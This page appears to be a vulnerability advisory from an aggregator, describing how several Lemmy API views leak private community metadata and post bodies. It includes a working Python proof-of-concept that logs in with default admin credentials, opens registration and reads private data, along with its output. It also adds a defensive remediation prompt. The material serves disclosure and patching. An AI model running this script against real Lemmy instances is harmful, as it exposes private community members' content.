# GHSA-95q8-x6r6-672m: Lemmy may expose private community data through community, saved, liked, and modlog API views

> Attackers can read private community metadata and post content via API views that lack proper visibility checks.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 6 May 2026

## What is GHSA-95q8-x6r6-672m?

GHSA-95q8-x6r6-672m is a vulnerability in lemmy_api, published on 6 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

**NOTE**: Only affects development version.

## Summary

Lemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.

## Details

`CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads:

```rust
query = my_local_user.visible_communities_only(query);
query.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)
```

`PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`.

The modlog query returns `ListingType::All` without a visibility predicate:

```rust
query = match self.listing_type.unwrap_or(ListingType::All) {
  ListingType::All => query,
```

The control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers:

```rust
community::visibility
  .ne(CommunityVisibility::Private)
  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))
```

## Proof of Concept

The following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.

```python
import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4"  # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"

def req(method, path, token=None, params=None, **body):
    headers = {}
    if token:
        headers["Authorization"] = "Bearer " + token
    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)

def register(name):
    r = req("POST", "/account/auth/register", username=name, password=PASSWORD,
            password_verify=PASSWORD, email=name + "@example.test")
    r.raise_for_status()
    token = r.json()["jwt"]
    person_id = req("GET", "/account", token).json()["local_user_view"]["person"]["id"]
    return token, person_id

def show(label, response, marker):
    text = response.text
    print("\n" + label + ": HTTP", response.status_code)
    print(text[:700])
    print("contains marker:", marker in text)

suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = req("POST", "/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
req("PUT", "/site", admin, registration_mode="open", email_verification_required=False)

alice, alice_id = register("alice" + suffix)
bob, _ = register("bob" + suffix)
secret = "SECRET_" + suffix

community = req("POST", "/community", admin,
                name="priv" + suffix,
                title="Private Proof " + suffix,
                sidebar=secret + " sidebar",
                summary=secret + " summary",
                visibility="private").json()["community_view"]["community"]
community_id = community["id"]
post = req("POST", "/post", admin, name="secret post " + suffix,
           community_id=community_id, body=secret + " post body").json()["post_view"]["post"]
post_id = post["id"]

show("Bob reads private community metadata", req("GET", "/community", bob, params={"id": community_id}), secret)
show("Bob direct post read control", req("GET", "/post", bob, params={"id": post_id}), secret)

req("POST", "/community/follow", alice, community_id=community_id, follow=True)
req("POST", "/community/pending_follows/approve", admin,
    community_id=community_id, follower_id=alice_id, approve=True)
req("PUT", "/post/save", alice, post_id=post_id, save=True)
req("POST", "/post/like", alice, post_id=post_id, is_upvote=True)
req("POST", "/community/follow", alice, community_id=community_id, follow=False)

show("Alice direct post read after leaving", req("GET", "/post", alice, params={"id": post_id}), secret)
show("Alice saved list after leaving", req("GET", "/account/saved", alice), secret)
show("Alice liked list after leaving", req("GET", "/account/liked", alice), secret)

mod_comm = req("POST", "/community", admin,
               name="modlog" + suffix,
               title="Private Modlog " + suffix,
               sidebar=secret + " modlog sidebar",
               summary=secret + " modlog summary",
               visibility="private").json()["community_view"]["community"]
mod_post = req("POST", "/post", admin, name=secret + " removed post",
               community_id=mod_comm["id"], body="body").json()["post_view"]["post"]
req("POST", "/post/remove", admin, post_id=mod_post["id"], removed=True, reason="poc")
show("Unauthenticated modlog", req("GET", "/modlog", params={"listing_type": "all", "limit": 50}), secret)

```

Output:

```text
Bob reads private community metadata: HTTP 200
contains marker: True
Bob direct post read control: HTTP 404
contains marker: False
Alice direct post read after leaving: HTTP 404
contains marker: False
Alice saved list after leaving: HTTP 200
contains marker: True
Alice liked list after leaving: HTTP 200
contains marker: True
Unauthenticated modlog: HTTP 200
contains marker: True
```

## Impact

Bob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.

## Recommended Fix

Apply the same private-community filter used by `PostView` and `CommentView` to `CommunityView::read()`, `CommunityQuery::list()`, `PersonSavedCombinedQuery::list()`, `PersonLikedCombinedQuery::list()`, and the `ListingType::All` branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same `404` behavior as `GET /post` and `GET /comment`.

---
*Found by [aisafe.io](https://aisafe.io)*

## Which versions are affected by GHSA-95q8-x6r6-672m?

2 open source packages ship an affected version, including lemmy_api.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `lemmy_api` | crates.io | All versions to 0.19.1-rc.1 | None |
| `lemmy_api` | crates.io | All versions to 0.19.1-rc.1 | None |

## How do I fix GHSA-95q8-x6r6-672m?

No fix has been published for GHSA-95q8-x6r6-672m yet. Limit exposure of the affected software until one is available.

## Is GHSA-95q8-x6r6-672m being exploited?

There is no known exploitation of GHSA-95q8-x6r6-672m in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-95q8-x6r6-672m and fix it if it is affected.

What it is: GHSA-95q8-x6r6-672m is a vulnerability in lemmy_api, published on 6 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-95q8-x6r6-672m in the wild and no public exploit code.

Affected packages and fixed versions:
- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed
- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-95q8-x6r6-672m/ (Markdown: https://insights.sbomify.com/GHSA-95q8-x6r6-672m/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-95q8-x6r6-672m

---
From sbomify Insights: https://insights.sbomify.com/GHSA-95q8-x6r6-672m/
Summaries are generated and may contain mistakes; the official description above is the record.